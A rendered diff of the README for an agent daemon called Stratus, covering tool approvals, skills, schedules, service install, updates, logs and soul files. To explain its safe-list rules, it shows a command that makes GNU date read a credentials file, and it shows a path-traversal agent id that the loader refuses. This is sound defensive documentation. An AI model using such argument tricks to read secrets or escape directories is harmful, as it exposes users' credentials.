### What the log records about a command
|
|
518
|
-
|
|
519
|
-
The scope, never the command:
|
|
520
|
-
|
|
521
|
-
```text
|
|
522
|
-
09:14:36 — warning: ava: shell.run was called outside every approved scope (git) and nobody is available to approve it
|
|
523
|
-
09:16:02 — ava: "git push" now runs without asking
|
|
524
|
-
```
|
|
525
|
-
|
|
526
|
-
The daemon log is a trace, not a second transcript — it records that a tool
|
|
527
|
-
ran, never what it was called with. A command an agent composed can carry a
|
|
528
|
-
URL, a filename, or something a person pasted into a chat, and this file is
|
|
529
|
-
one `stratus logs` prints and people paste into issues. The command itself
|
|
530
|
-
goes to whoever is being asked to approve it: the terminal prompt and the
|
|
531
|
-
Slack message both show it in full, because approving a bare tool name is
|
|
532
|
-
approving something you cannot see.
|
|
533
|
-
|
|
534
|
-
The safe list is deliberately short, and `cat`, `ls`, and `grep` are the
|
|
535
|
-
tempting entries that cannot be on it — they read whatever path they are given,
|
|
536
|
-
so safe-listing them would safe-list reading your credentials file. Approve
|
|
537
|
-
them once for a scope you actually want instead.
|
|
538
|
-
|
|
539
|
-
The test is **what an argument can make the command do**, not what the command
|
|
540
|
-
is called. `date` was on this list until it turned out that
|
|
541
|
-
`date --file=~/.stratus/credentials.json` makes GNU `date` read that file and
|
|
542
|
-
echo every unparseable line back in its error text — which the tool returns.
|
|
543
|
-
A command that can be handed a path is a file reader wearing another name, so
|
|
544
|
-
`--file` is now refused in every scope, including ones you add.
|
|
545
|
-
|
|
546
|
-
## Skills: how an agent does a task well
|
|
547
|
-
|
|
548
|
-
Tools are capability; a **skill** is competence — markdown that teaches an
|
|
549
|
-
agent a procedure: the rubric for a code review, the order to check things in,
|
|
550
|
-
the format to answer in. A skill is a directory with a `SKILL.md`:
|
|
551
|
-
|
|
552
|
-
```text
|
|
553
|
-
~/.stratus/skills/
|
|
554
|
-
code-review/
|
|
555
|
-
SKILL.md
|
|
556
|
-
```
|
|
557
|
-
|
|
558
|
-
```markdown
|
|
559
|
-
---
|
|
560
|
-
name: Code Review
|
|
561
|
-
description: Use when reviewing a diff or a pull request.
|
|
562
|
-
---
|
|
563
|
-
|
|
564
|
-
# Code review
|
|
565
|
-
|
|
566
|
-
Lead with the verdict, then findings ordered by severity...
|
|
567
|
-
```
|
|
568
|
-
|
|
569
|
-
The frontmatter is the soul dialect — `name`, `description`, optional
|
|
570
|
-
`version`, and an optional `requires:` list of toolsets the procedure expects
|
|
571
|
-
(`browser.*`) — read **tolerantly**, unlike a soul's: keys other ecosystems
|
|
572
|
-
write (`license`, `allowed-tools`, nested `metadata:`) and YAML's multi-line
|
|
573
|
-
descriptions are skipped rather than refused, so a skill published for
|
|
574
|
-
another agent loads here unmodified. The directory name is the skill's id.
|
|
575
|
-
Plugins can ship skills too, declared in their manifest; those are addressed
|
|
576
|
-
by the package name verbatim (`stratus-plugin-github:pr-review`), and by the
|
|
577
|
-
bare id while no other package claims it.
|
|
578
|
-
|
|
579
|
-
### Installing skills
|
|
580
|
-
|
|
581
|
-
Anything on GitHub laid out as skill directories — including repos published
|
|
582
|
-
to [skills.sh](https://skills.sh) — installs directly:
|
|
583
|
-
|
|
584
|
-
```bash
|
|
585
|
-
stratus skill add owner/skills-repo # a whole repo of skills
|
|
586
|
-
stratus skill add owner/repo --skill hn-search --agent ava
|
|
587
|
-
stratus skill add ./my-skills # a local directory
|
|
588
|
-
stratus skills # what is installed, and who enables it
|
|
589
|
-
```
|
|
590
|
-
|
|
591
|
-
`skill add` takes a GitHub `owner/repo`, any git URL, or a local path; it
|
|
592
|
-
finds skills at the repo root, one level down, and in the `skills/`,
|
|
593
|
-
`.claude/skills/`, and `.agents/skills/` directories the ecosystem uses, then
|
|
594
|
-
copies each **whole directory** into `~/.stratus/skills/`. An id already
|
|
595
|
-
installed is refused per skill (`--force` replaces it), and an unparseable
|
|
596
|
-
skill is reported while the rest still install.
|
|
597
|
-
|
|
598
|
-
**Installed is not enabled.** A skill is markdown, but it is markdown your
|
|
599
|
-
agent will *follow*, so installing a repo grants no agent anything — each
|
|
600
|
-
soul still opts in through `skills:`. Pass `--agent <id>` to do both at once:
|
|
601
|
-
the command appends the installed ids to that soul's list (rendering the file
|
|
602
|
-
through the canonical formatter, like the API's field edits do).
|
|
603
|
-
|
|
604
|
-
An agent gets a skill only when its soul asks — same allowlist shape as
|
|
605
|
-
`tools:`, except that omitting it means **none** (a skill silently changing
|
|
606
|
-
how an agent behaves is worse than an agent that has to be told):
|
|
607
|
-
|
|
608
|
-
```markdown
|
|
609
|
-
---
|
|
610
|
-
name: Ava
|
|
611
|
-
tools: [fs.read, fs.search]
|
|
612
|
-
skills:
|
|
613
|
-
- code-review
|
|
614
|
-
- stratus-plugin-github:*
|
|
615
|
-
---
|
|
616
|
-
```
|
|
617
|
-
|
|
618
|
-
**An enabled skill costs one line per turn, not its body.** Only the name and
|
|
619
|
-
description reach the system prompt; the agent loads the full procedure with
|
|
620
|
-
the built-in `skill.read` tool when the description says it is relevant. That
|
|
621
|
-
is what lets a fleet carry thirty procedures without every turn paying for all
|
|
622
|
-
thirty. `skill.read` is part of the skills mechanism — never list it under
|
|
623
|
-
`tools:`; it appears (and works) for exactly the agents whose soul enables any
|
|
624
|
-
skill, and reads only the skills that soul allows.
|
|
625
|
-
|
|
626
|
-
**Write the description for routing.** It is the only thing the model sees
|
|
627
|
-
before deciding to load the body, so it says *when to reach for this*, not
|
|
628
|
-
what the file contains: "Use when reviewing a diff or a pull request", not "A
|
|
629
|
-
rubric with twelve sections". A skill without a description does not load.
|
|
630
|
-
|
|
631
|
-
A skill whose `requires:` names toolsets the agent's `tools:` does not cover
|
|
632
|
-
is a warning when the daemon loads the roster, never a refusal — a skill is
|
|
633
|
-
prose, and can degrade. `stratus run` and `stratus chat` serve the same skills
|
|
634
|
-
directory the daemon does, so a skill that routes locally routes in Slack.
|
|
635
|
-
|
|
636
|
-
## Proactive: schedules and outbound messages
|
|
637
|
-
|
|
638
|
-
Everything above answers when spoken to. Two toolsets make an always-on
|
|
639
|
-
daemon into agents that act on their own:
|
|
640
|
-
|
|
641
|
-
- **`schedule.every` / `schedule.at`** — recurring (an interval like `"30m"`
|
|
642
|
-
or a five-field cron expression, local time) or one-shot (ISO-8601), with
|
|
643
|
-
the prompt each firing runs and, optionally, the destination its reports
|
|
644
|
-
are pre-authorized to post to.
|
|
645
|
-
- **`schedule.list` / `schedule.cancel`** — an agent's own audit and undo.
|
|
646
|
-
- **`message.send`** — post to a channel or DM outside the current
|
|
647
|
-
conversation: `{ destination: { channel: "slack", to: "C0123456789" }, text }`.
|
|
648
|
-
Without it a scheduled turn works in silence.
|
|
649
|
-
|
|
650
|
-
Souls opt in like any other tool:
|
|
651
|
-
|
|
652
|
-
```markdown
|
|
653
|
-
---
|
|
654
|
-
name: Ava
|
|
655
|
-
tools:
|
|
656
|
-
- schedule.*
|
|
657
|
-
- message.send
|
|
658
|
-
---
|
|
659
|
-
```
|
|
660
|
-
|
|
661
|
-
**The approval belongs to the schedule, not to the firing.** Creating a
|
|
662
|
-
schedule is `gated`: a human approves "every morning, check the repo, report
|
|
663
|
-
to #eng" once — cadence, prompt, and destination together. A `message.send`
|
|
664
|
-
from that schedule's firings *to that destination* then runs unattended, in
|
|
665
|
-
headless mode included: it is the decision already made, not a new one.
|
|
666
|
-
Anywhere else — another channel, a DM, a schedule that declared no
|
|
667
|
-
destination — stays gated exactly as in an inbound turn, so under `headless`
|
|
668
|
-
it is refused and under `remote` it asks in Slack (in the configured
|
|
669
|
-
`approvals.slackChannel`, since a scheduled turn has no thread of its own).
|
|
670
|
-
Note that a plain **Allow once** on `schedule.every` therefore mints
|
|
671
|
-
something durable — the request shows the cadence, prompt, and destination,
|
|
672
|
-
because that is what is being approved.
|
|
673
|
-
|
|
674
|
-
The rest of the shape, briefly:
|
|
675
|
-
|
|
676
|
-
- **Each firing is its own session** (`schedule:<id>:<slot>`), dispatched
|
|
677
|
-
through the same path a channel message takes, marked
|
|
678
|
-
`scheduled: true` in metadata. Continuity across firings is what agent
|
|
679
|
-
memory is for.
|
|
680
|
-
- **Schedules are immutable.** Editing is cancel-plus-create, so the
|
|
681
|
-
approval's scope is exactly the row's lifetime.
|
|
682
|
-
- **A destination is validated at creation** — the agent's Slack app must be
|
|
683
|
-
able to see the conversation and be a member of it — so a schedule that
|
|
684
|
-
could never report is refused while somebody is present to hear why, not
|
|
685
|
-
at 6am. The same membership check runs on every send: no cold-DMing.
|
|
686
|
-
- **Schedules survive restarts** (they live in the daemon's own database),
|
|
687
|
-
a slot is consumed *before* its firing dispatches so a crash mid-firing
|
|
688
|
-
never double-runs it, and a missed window gets at most one late catch-up —
|
|
689
|
-
windows that passed entirely are skipped with a log line.
|
|
690
|
-
- **Two limits hold unattended spend down**: an interval floor (default one
|
|
691
|
-
minute) and a per-agent cap on concurrent scheduled turns (default one —
|
|
692
|
-
a firing that would exceed it waits for the next tick).
|
|
693
|
-
|
|
694
|
-
What the fleet has set is never only the agents' business:
|
|
695
|
-
|
|
696
|
-
```bash
|
|
697
|
-
stratus schedules # every agent's schedules, straight from the daemon's database
|
|
698
|
-
stratus schedules cancel <id> # stop the next firing; the destination grant dies with the row
|
|
699
|
-
```
|
|
700
|
-
|
|
701
|
-
Cancelling — from the CLI, the control API (`DELETE /schedules/:id`), or the
|
|
702
|
-
agent's own `schedule.cancel` — revokes the pre-authorized destination in the
|
|
703
|
-
same stroke, and a running daemon notices without a restart. The daemon log
|
|
704
|
-
records that a schedule was created, fired, or cancelled (ids and
|
|
705
|
-
destinations, never prompt contents beyond the row itself).
|
|
706
|
-
|
|
707
|
-
## Always on
|
|
708
|
-
|
|
709
|
-
`stratus serve` stays a foreground process on purpose — debuggable, and
|
|
710
|
-
composable with whatever supervisor you already run. Surviving logout, crashes,
|
|
711
|
-
and reboots is the platform's job, so `stratus service` hands the daemon to
|
|
712
|
-
launchd on macOS and to systemd on Linux:
|
|
713
|
-
|
|
714
|
-
```bash
|
|
715
|
-
stratus service install # write the unit, start now, start at every login
|
|
716
|
-
stratus service install --no-login
|
|
717
|
-
stratus service status
|
|
718
|
-
stratus service start
|
|
719
|
-
stratus service stop
|
|
720
|
-
stratus service uninstall
|
|
721
|
-
```
|
|
722
|
-
|
|
723
|
-
`stratus setup` installs it for you at Save & finish unless you opt out, so
|
|
724
|
-
most people never run these by hand. What they get:
|
|
725
|
-
|
|
726
|
-
- **macOS** — a LaunchAgent at `~/Library/LaunchAgents/com.stratusagent.stratusd.plist`
|
|
727
|
-
- **Linux** — a systemd user unit at `~/.config/systemd/user/stratusd.service`
|
|
728
|
-
|
|
729
|
-
The unit runs the daemon by **absolute path** — the node binary and script of
|
|
730
|
-
the process that installed it, never a bare `stratus`. A service manager starts
|
|
731
|
-
with a minimal environment and never loads the shell profile that puts `stratus`
|
|
732
|
-
on your `PATH`. It stops with SIGTERM, so the gateway's drain actually runs.
|
|
733
|
-
|
|
734
|
-
A default install restarts the daemon if it crashes, but not after a clean
|
|
735
|
-
exit — stopping it yourself keeps it stopped. **`--no-login` gives up crash
|
|
736
|
-
restarts on macOS**, and that is launchd's rule rather than a choice: `KeepAlive`
|
|
737
|
-
implies `RunAtLoad`, so a job that must not start at login cannot ask to be
|
|
738
|
-
revived either. `stratus service install --no-login` says so when it finishes.
|
|
739
|
-
On Linux the two are independent, and `Restart=on-failure` applies either way.
|
|
740
|
-
|
|
741
|
-
`status` asks the service manager, not the unit file, whether the daemon is
|
|
742
|
-
alive, and exits non-zero when it isn't — so it works in a health check:
|
|
743
|
-
|
|
744
|
-
```text
|
|
745
|
-
stratusd running
|
|
746
|
-
manager launchd
|
|
747
|
-
unit ~/Library/LaunchAgents/com.stratusagent.stratusd.plist
|
|
748
|
-
at login yes
|
|
49
|
+
stratus dashboard # web dashboard, signed in via a one-time link
|
|
749
50
|
```
|
|
750
51
|
|
|
751
|
-
|
|
752
|
-
|
|
753
|
-
unattended Mac needs automatic login turned on too. (A `LaunchDaemon` would
|
|
754
|
-
start without a login, but it runs as a system user, which breaks `~/.stratus`
|
|
755
|
-
paths and the Claude subscription token entirely, so the LaunchAgent is the
|
|
756
|
-
right choice.) The systemd equivalent is `loginctl enable-linger` on a machine
|
|
757
|
-
you don't stay logged in to. Setup says both in the menu rather than leaving
|
|
758
|
-
them to be discovered after a reboot.
|
|
759
|
-
|
|
760
|
-
## Updating
|
|
761
|
-
|
|
762
|
-
`~/.stratus` is a real on-disk format — config, credentials, souls, memory,
|
|
763
|
-
the session database — so upgrading is more than `npm install -g`. Two pieces
|
|
764
|
-
handle it:
|
|
765
|
-
|
|
766
|
-
**State is versioned, and migrations run themselves.** `~/.stratus/state.json`
|
|
767
|
-
records a schema version and which migrations have been applied. On the first
|
|
768
|
-
command of a newer build — whatever installed it: npm directly, Homebrew, a
|
|
769
|
-
pinned version in CI — any pending migrations run automatically, each one
|
|
770
|
-
idempotent, applied in order, and recorded as it completes. This is deliberate:
|
|
771
|
-
an upgrade path that migrates only through one blessed command leaves the
|
|
772
|
-
other install methods on unmigrated state, and the two populations diverge
|
|
773
|
-
silently. (One constraint that keeps the automatic path honest: a migration
|
|
774
|
-
must be safe to run while a daemon is serving, because this path does not
|
|
775
|
-
stop the managed service — only `stratus update` does. A migration needing
|
|
776
|
-
exclusive access to shared state is not registered until the registry can
|
|
777
|
-
require that bracket.)
|
|
778
|
-
|
|
779
|
-
The reverse direction refuses instead of guessing: against state stamped by
|
|
780
|
-
a **newer** build than itself, anything that *writes* under `~/.stratus` —
|
|
781
|
-
`serve`, `setup`, `chat`, `run`, `skill add`, `dashboard`, `schedules
|
|
782
|
-
cancel`, `service install`/`start` — refuses with a line naming the fix,
|
|
783
|
-
because a downgraded build writing into a newer format is the one way to
|
|
784
|
-
corrupt it. Read-only commands (`logs`, `agents`, `doctor`, `service
|
|
785
|
-
status`/`stop`) warn and continue: reading is how you diagnose your way out.
|
|
786
|
-
|
|
787
|
-
**`stratus update` does the operational sequence around that, in the order
|
|
788
|
-
that cannot lose data:**
|
|
789
|
-
|
|
790
|
-
```bash
|
|
791
|
-
stratus update # stop stratusd → upgrade from npm → migrate →
|
|
792
|
-
# rewrite the service unit → restart
|
|
793
|
-
stratus update --check # report all of it, change nothing (exits 1 when
|
|
794
|
-
# something is actionable, for scripts and cron)
|
|
795
|
-
```
|
|
796
|
-
|
|
797
|
-
The service stop comes first so no daemon holds the session database while
|
|
798
|
-
state changes, and the unit rewrite is the step nothing else performs: the
|
|
799
|
-
unit runs the daemon by **absolute paths** (see [Always on](#always-on)), so
|
|
800
|
-
upgrading node — under nvm, a whole new version directory — leaves the unit
|
|
801
|
-
pointing at an interpreter that no longer exists. The service stops working
|
|
802
|
-
and nothing says so; the agents just stop answering. `stratus update` rewrites
|
|
803
|
-
the unit with the current node and entrypoint paths, preserving its `--config`
|
|
804
|
-
pin and login setting, and `stratus doctor` flags a stale unit path as a
|
|
805
|
-
problem. Every step degrades independently — with npm unreachable, `update`
|
|
806
|
-
skips the package upgrade but still migrates and repairs the unit, which is
|
|
807
|
-
exactly what the offline case needs. A daemon that was deliberately stopped
|
|
808
|
-
before the update is left stopped after it.
|
|
809
|
-
|
|
810
|
-
## Logs
|
|
811
|
-
|
|
812
|
-
Under a service manager the daemon's stdout is gone, so everything `stratus
|
|
813
|
-
serve` says is also written to `~/.stratus/logs/stratusd.jsonl` (owner-read-only,
|
|
814
|
-
rotated at 8 MB, three generations kept). That file is the record of an
|
|
815
|
-
overnight run, and `stratus logs` reads it from any terminal:
|
|
816
|
-
|
|
817
|
-
```bash
|
|
818
|
-
stratus logs # the last 50 records
|
|
819
|
-
stratus logs -f # follow, across rotations
|
|
820
|
-
stratus logs -n 200
|
|
821
|
-
stratus logs --agent ava
|
|
822
|
-
stratus logs --session slack:ava:T01ABCDEF:C07GHIJKL:1731900000.123456
|
|
823
|
-
stratus logs --format json # the raw records, for jq
|
|
824
|
-
```
|
|
825
|
-
|
|
826
|
-
```text
|
|
827
|
-
09:14:02 — stratusd ready — 3 agents, slack connected
|
|
828
|
-
09:14:31 ava session.created [slack:ava:T01ABCDEF:C07GHIJKL:1731900000.123456]
|
|
829
|
-
09:14:36 ava tool.completed tool=memory.remember ok=true [slack:ava:T01ABCDEF:C07GHIJKL:1731900000.123456]
|
|
830
|
-
09:21:07 — warning: anthropic returned 529; retrying on the fallback model
|
|
831
|
-
```
|
|
832
|
-
|
|
833
|
-
Session ids are the channel's own key — `channel:agent:team:conversation[:thread]`
|
|
834
|
-
— so the id in the last column is exactly what `--session` wants, and the same
|
|
835
|
-
conversation keeps it across daemon restarts.
|
|
836
|
-
|
|
837
|
-
The log is a **trace, not a second transcript**: it records that a tool ran and
|
|
838
|
-
that a session completed, with the tool's name, the agent, and the session id.
|
|
839
|
-
Prompts, replies, and tool inputs are not written — what was said lives in the
|
|
840
|
-
session store instead. A memory write or forget also records the **entry id**
|
|
841
|
-
it touched (never the fact itself), so "when did the agent learn this" has an
|
|
842
|
-
answer.
|
|
843
|
-
|
|
844
|
-
One exception worth knowing before you paste a log anywhere. A failed session
|
|
845
|
-
records the **provider's error text verbatim**, and providers routinely quote
|
|
846
|
-
the request that failed — so a malformed prompt can end up inside an error
|
|
847
|
-
message. Skim a log before sharing it, and prefer `--agent` or `--session` to
|
|
848
|
-
narrow it to the run you actually mean.
|
|
849
|
-
|
|
850
|
-
### When the log is empty
|
|
851
|
-
|
|
852
|
-
A daemon that fails *before* it starts serving — a broken install, an
|
|
853
|
-
unreadable credentials file — never gets as far as opening the structured log,
|
|
854
|
-
so `stratus logs` shows nothing or shows yesterday. Those errors go to stderr,
|
|
855
|
-
and where stderr lands is the service manager's business, so it differs by
|
|
856
|
-
platform:
|
|
857
|
-
|
|
858
|
-
```bash
|
|
859
|
-
tail ~/.stratus/logs/stratusd.err.log # macOS
|
|
860
|
-
journalctl --user-unit=stratusd.service # Linux
|
|
861
|
-
```
|
|
862
|
-
|
|
863
|
-
That is where a restart loop explains itself. On macOS the LaunchAgent redirects
|
|
864
|
-
both streams to files, so Stratus truncates them when `serve` starts and every
|
|
865
|
-
five minutes while it runs — a crash loop cannot fill the disk with the same
|
|
866
|
-
error a million times. On Linux systemd keeps the same output in the journal
|
|
867
|
-
instead, which does its own rotation, so there is nothing beside the JSONL to
|
|
868
|
-
bound and nothing to clean up.
|
|
869
|
-
|
|
870
|
-
## When something looks off
|
|
871
|
-
|
|
872
|
-
`stratus doctor` answers one question — *what would a run use right now, and
|
|
873
|
-
who decided that?* Every setting is shown with the file or environment variable
|
|
874
|
-
it came from, because the answer is usually that something outranks what you
|
|
875
|
-
thought you configured:
|
|
876
|
-
|
|
877
|
-
```bash
|
|
878
|
-
stratus doctor
|
|
879
|
-
stratus doctor --format json
|
|
880
|
-
```
|
|
881
|
-
|
|
882
|
-
```text
|
|
883
|
-
Stratus Agent — what a run would use right now
|
|
884
|
-
|
|
885
|
-
provider anthropic
|
|
886
|
-
from ~/.stratus/agents/ava.md (soul frontmatter)
|
|
887
|
-
model claude-opus-5
|
|
888
|
-
from ~/.stratus/agents/ava.md (soul frontmatter)
|
|
889
|
-
soul ~/.stratus/agents/ava.md
|
|
890
|
-
from ~/.stratus/config.json
|
|
891
|
-
agent Ava (ava)
|
|
892
|
-
|
|
893
|
-
Files
|
|
894
|
-
config ~/.stratus/config.json
|
|
895
|
-
agents 1 soul file
|
|
896
|
-
|
|
897
|
-
Sign-ins
|
|
898
|
-
anthropic Claude subscription (Pro/Max) — runs go through the Claude Code runtime
|
|
899
|
-
openai not signed in
|
|
900
|
-
|
|
901
|
-
Channels
|
|
902
|
-
slack no agents connected
|
|
903
|
-
@stratusagent/channel-slack installed
|
|
904
|
-
|
|
905
|
-
1 problem found:
|
|
906
|
-
! A fallback model (gpt-4.1-mini) is configured but could not be resolved — usually
|
|
907
|
-
no sign-in for its provider. A failing primary model has nothing to retry on.
|
|
908
|
-
```
|
|
909
|
-
|
|
910
|
-
It resolves the config exactly the way a run does rather than re-deriving the
|
|
911
|
-
rules, so what it prints is what you would get. It exits non-zero when it finds
|
|
912
|
-
a problem, and it is the fastest answer to the two most common surprises: a run
|
|
913
|
-
that turns out to be on the `demo` provider, and an `ANTHROPIC_API_KEY` in the
|
|
914
|
-
environment quietly demoting a Claude subscription sign-in to per-token billing.
|
|
915
|
-
|
|
916
|
-
## Agents are people
|
|
917
|
-
|
|
918
|
-
An agent's identity lives in a **soul file** — markdown with frontmatter for the structured parts (name, provider, model, tool and skill allowlists) and prose for the personality:
|
|
919
|
-
|
|
920
|
-
```markdown
|
|
921
|
-
---
|
|
922
|
-
name: Ava
|
|
923
|
-
provider: anthropic
|
|
924
|
-
model: claude-opus-5
|
|
925
|
-
tools:
|
|
926
|
-
- demo.echo
|
|
927
|
-
- memory.*
|
|
928
|
-
skills:
|
|
929
|
-
- code-review
|
|
930
|
-
---
|
|
931
|
-
|
|
932
|
-
You are a sharp, warm generalist. Answer first, explain second...
|
|
933
|
-
```
|
|
934
|
-
|
|
935
|
-
Agents remember: facts saved with the built-in `memory.remember` tool persist
|
|
936
|
-
to `~/.stratus/memory.jsonl`, keyed to the agent — so the Ava you talk to
|
|
937
|
-
tomorrow remembers today, from any directory. Recall is something the agent
|
|
938
|
-
does, not only something done to it: the system prompt carries the most
|
|
939
|
-
recent facts (up to 20, within a byte budget), and everything older is
|
|
940
|
-
reachable through `memory.recall`, a full-text search over the agent's own
|
|
941
|
-
store — plain words in, matching facts out, newest first; a query like `C++`
|
|
942
|
-
or an unmatched quote is a search, never an error. `memory.forget` retires a
|
|
943
|
-
fact by id: it stops reaching prompts and recall, but stays in the file as a
|
|
944
|
-
tombstone line, so you can still see what an agent chose to drop. A single
|
|
945
|
-
fact is capped at 4 KiB — an oversized `memory.remember` is refused outright
|
|
946
|
-
rather than stored truncated.
|
|
947
|
-
|
|
948
|
-
One thing to check on souls written before recall existed: a `tools:`
|
|
949
|
-
allowlist naming exactly `memory.remember` lets the agent keep saving facts
|
|
950
|
-
but not search them, and with the prompt now carrying only the recent slice,
|
|
951
|
-
its older memories are out of reach. Add `memory.recall` and `memory.forget`
|
|
952
|
-
— or just `memory.*`, as the example above does. A soul with no `tools:`
|
|
953
|
-
list is unaffected; omitted means every registered tool.
|
|
954
|
-
|
|
955
|
-
The JSONL is the record and you may edit it: add a line by hand and it is
|
|
956
|
-
recallable; fix a typo and nothing goes stale. Search is served from a
|
|
957
|
-
derived FTS index the CLI writes alongside, `~/.stratus/memory.jsonl.index`
|
|
958
|
-
— safe to delete at any time, it is rebuilt from the JSONL on the next
|
|
959
|
-
recall.
|
|
960
|
-
|
|
961
|
-
**Ids are not labels.** Frontmatter may set `id:` explicitly, and it keys the
|
|
962
|
-
agent's sessions, memory, credentials, Slack tokens, and every per-agent path
|
|
963
|
-
on disk. So it has to stay one path segment, and one ordinary map key: an id
|
|
964
|
-
may not start with a dot or contain a slash, a backslash, a control
|
|
965
|
-
character, or leading or trailing whitespace, and it may not be a name every
|
|
966
|
-
object already answers to (`__proto__`, `constructor`, `toString`). Anything that would leave its directory is rejected when the soul
|
|
967
|
-
loads rather than quietly cleaned up — `id: ../../escape` is refused, not
|
|
968
|
-
rewritten to `escape`.
|
|
969
|
-
|
|
970
|
-
Anything else is yours. An id like `Ava_1` or `team.alpha` is unusual but
|
|
971
|
-
harmless, and it is already keying that agent's sessions and sign-ins, so it
|
|
972
|
-
is left exactly as written. Omit `id:` and one is derived from the name as a
|
|
973
|
-
plain slug (`ava`); a generated agent's id is also capped at 64 characters,
|
|
974
|
-
but a slug derived from a name you chose is used whole, because shortening
|
|
975
|
-
an id moves the agent it belongs to.
|
|
976
|
-
|
|
977
|
-
Creating an agent checks the id against every id the served roster holds,
|
|
978
|
-
not against the filenames on disk: what the roster files *declare* (a soul
|
|
979
|
-
at `renamed.md` can declare `id: ava`), the configured default soul even
|
|
980
|
-
when its file lives elsewhere, and the reserved `stratus`. A new agent gets
|
|
981
|
-
a suffixed id (`ava-3f9c`) rather than one that would collide. Its name
|
|
982
|
-
stays the one you chose.
|
|
983
|
-
|
|
984
|
-
**Two souls cannot share an id.** That is not two agents; it is one agent
|
|
985
|
-
whose memory and sign-ins belong to whichever file sorted first. The roster
|
|
986
|
-
refuses to load and names both files, `stratus serve` will not start,
|
|
987
|
-
`stratus doctor` reports it, and `stratus setup` → Channels offers no
|
|
988
|
-
agents at all — nothing is servable while the roster is ambiguous, so
|
|
989
|
-
connecting a Slack app would configure something that cannot run. Neither
|
|
990
|
-
command offers to clear "unmatched" Slack tokens in that state either: a
|
|
991
|
-
roster that would not load cannot prove which ids are missing, and the
|
|
992
|
-
tokens at risk belong to agents that are perfectly fine. (An unreadable *single* soul still degrades to a
|
|
993
|
-
warning — one broken file never takes the team down. A collision has no
|
|
994
|
-
correct winner, which is the difference.) The built-in `stratus` id is
|
|
995
|
-
reserved: souls claiming it are skipped — including two of them, since
|
|
996
|
-
neither was going to get the id, so their agreeing on it is not a collision
|
|
997
|
-
to refuse over.
|
|
52
|
+
Full reference with every subcommand:
|
|
53
|
+
[CLI reference](https://github.com/stratuslabs/agent/blob/main/docs/reference/cli.md).
|
|
998
54
|
|
|
999
55
|
## Options
|
|
1000
56
|
|
|
1001
57
|
| Flag | Purpose |
|
|
1002
58
|
| --- | --- |
|
|
1003
59
|
| `--soul <file>` | Run as the agent defined by a soul file (also `STRATUS_SOUL` / config `soul` key) |
|
|
1004
|
-
| `--provider` | `anthropic`, `openai`, or `demo` (offline, no account) |
|
|
1005
|
-
| `--model` | Model for real providers (anthropic default: `claude-opus-5`) |
|
|
60
|
+
| `--provider` | `anthropic`, `openai`, `codex`, or `demo` (offline, no account) |
|
|
61
|
+
| `--model` | Model for real providers (anthropic default: `claude-opus-5`, codex default: `gpt-5.5`) |
|
|
1006
62
|
| `--base-url` | Override the provider API base URL |
|
|
1007
63
|
| `--config <file>` | Load settings from a specific config file |
|
|
1008
|
-
| `--approvals` | `run`/`chat`:
|
|
64
|
+
| `--approvals` | `run`/`chat`: `always`, `ask`, or `never`. `serve`: `headless` (refuse gated calls) or `remote` (ask in Slack) |
|
|
1009
65
|
| `--max-turns` | Max provider turns per run (default 8) |
|
|
1010
66
|
| `--format` | `text` or `json` |
|
|
1011
|
-
| `--idle-timeout` | `
|
|
67
|
+
| `--idle-timeout` | `serve`: seconds of provider silence before the watchdog aborts a turn (default 120) |
|
|
1012
68
|
| `--no-events` | Hide the event log |
|
|
1013
|
-
| `--no-log-file` | `
|
|
1014
|
-
| `--no-api` | `
|
|
1015
|
-
| `--api-host` | `
|
|
1016
|
-
| `--
|
|
1017
|
-
| `--
|
|
1018
|
-
| `--
|
|
1019
|
-
| `--
|
|
1020
|
-
|
|
1021
|
-
|
|
1022
|
-
|
|
1023
|
-
|
|
69
|
+
| `--no-log-file` | `serve`: do not write `~/.stratus/logs/stratusd.jsonl` |
|
|
70
|
+
| `--no-api` | `serve`: do not serve the control API |
|
|
71
|
+
| `--api-host`, `--api-port` | `serve`: control API bind (default `127.0.0.1:4123`) |
|
|
72
|
+
| `--gateway <url>`, `--token` | `agents`: read the roster from a running daemon's control API |
|
|
73
|
+
| `--port`, `--host`, `--no-open` | `dashboard`: where a daemon it starts should bind; skip opening the browser |
|
|
74
|
+
| `--no-login` | `service install`: install without the start-at-login trigger |
|
|
75
|
+
| `-f`, `-n`, `--agent`, `--session` | `logs`: follow, backlog size, and filters |
|
|
76
|
+
|
|
77
|
+
Precedence: flags → `STRATUS_*` env vars → soul file hints → config file.
|
|
78
|
+
Project-local `stratus.config.json` outranks the global
|
|
79
|
+
`~/.stratus/config.json`; stored sign-ins are endpoint-bound and never sent
|
|
80
|
+
to endpoints a project config selects. Details:
|
|
81
|
+
[Configuration](https://github.com/stratuslabs/agent/blob/main/docs/reference/config.md).
|
|
82
|
+
|
|
83
|
+
## Optional packages
|
|
84
|
+
|
|
85
|
+
Out of the box an agent can already echo, remember, recall, delegate, and
|
|
86
|
+
(in the daemon) schedule. Everything beyond that — a transport, real-world
|
|
87
|
+
tools, an open port — is a separate package you add only when you want it,
|
|
88
|
+
and `stratus setup` offers the ones your answers imply:
|
|
1024
89
|
|
|
1025
|
-
|
|
1026
|
-
|
|
1027
|
-
|
|
1028
|
-
|
|
90
|
+
```bash
|
|
91
|
+
npm install -g @stratusagent/channel-slack # agents in Slack
|
|
92
|
+
npm install -g @stratusagent/tool-fs @stratusagent/tool-shell \
|
|
93
|
+
@stratusagent/tool-web @stratusagent/tool-browser # real capability
|
|
94
|
+
npm install -g @stratusagent/plugin-mcp # mount MCP servers
|
|
95
|
+
npm install -g @stratusagent/control-api @stratusagent/dashboard # HTTP API + web UI
|
|
96
|
+
```
|
|
1029
97
|
|
|
1030
|
-
|
|
98
|
+
A tool or MCP plugin runs nothing by being installed — a config you chose
|
|
99
|
+
enables it, then each agent's soul allowlists its tools. The two surfaces
|
|
100
|
+
switch on differently, on purpose: the Slack channel connects when an
|
|
101
|
+
agent's stored tokens say so, and installing the control API is itself the
|
|
102
|
+
decision to open an authenticated local port (`--no-api` takes it back).
|
|
103
|
+
The reasoning:
|
|
104
|
+
[the plugin trust model](https://github.com/stratuslabs/agent/blob/main/docs/concepts/plugins.md).
|
|
1031
105
|
|
|
1032
|
-
|
|
106
|
+
## Learn more
|
|
1033
107
|
|
|
1034
|
-
|
|
108
|
+
| I want to… | Read |
|
|
109
|
+
| --- | --- |
|
|
110
|
+
| Put my agents in Slack | [Slack](https://github.com/stratuslabs/agent/blob/main/docs/guides/slack.md) |
|
|
111
|
+
| Give agents files, a shell, the web, a browser | [Tools](https://github.com/stratuslabs/agent/blob/main/docs/guides/tools.md) |
|
|
112
|
+
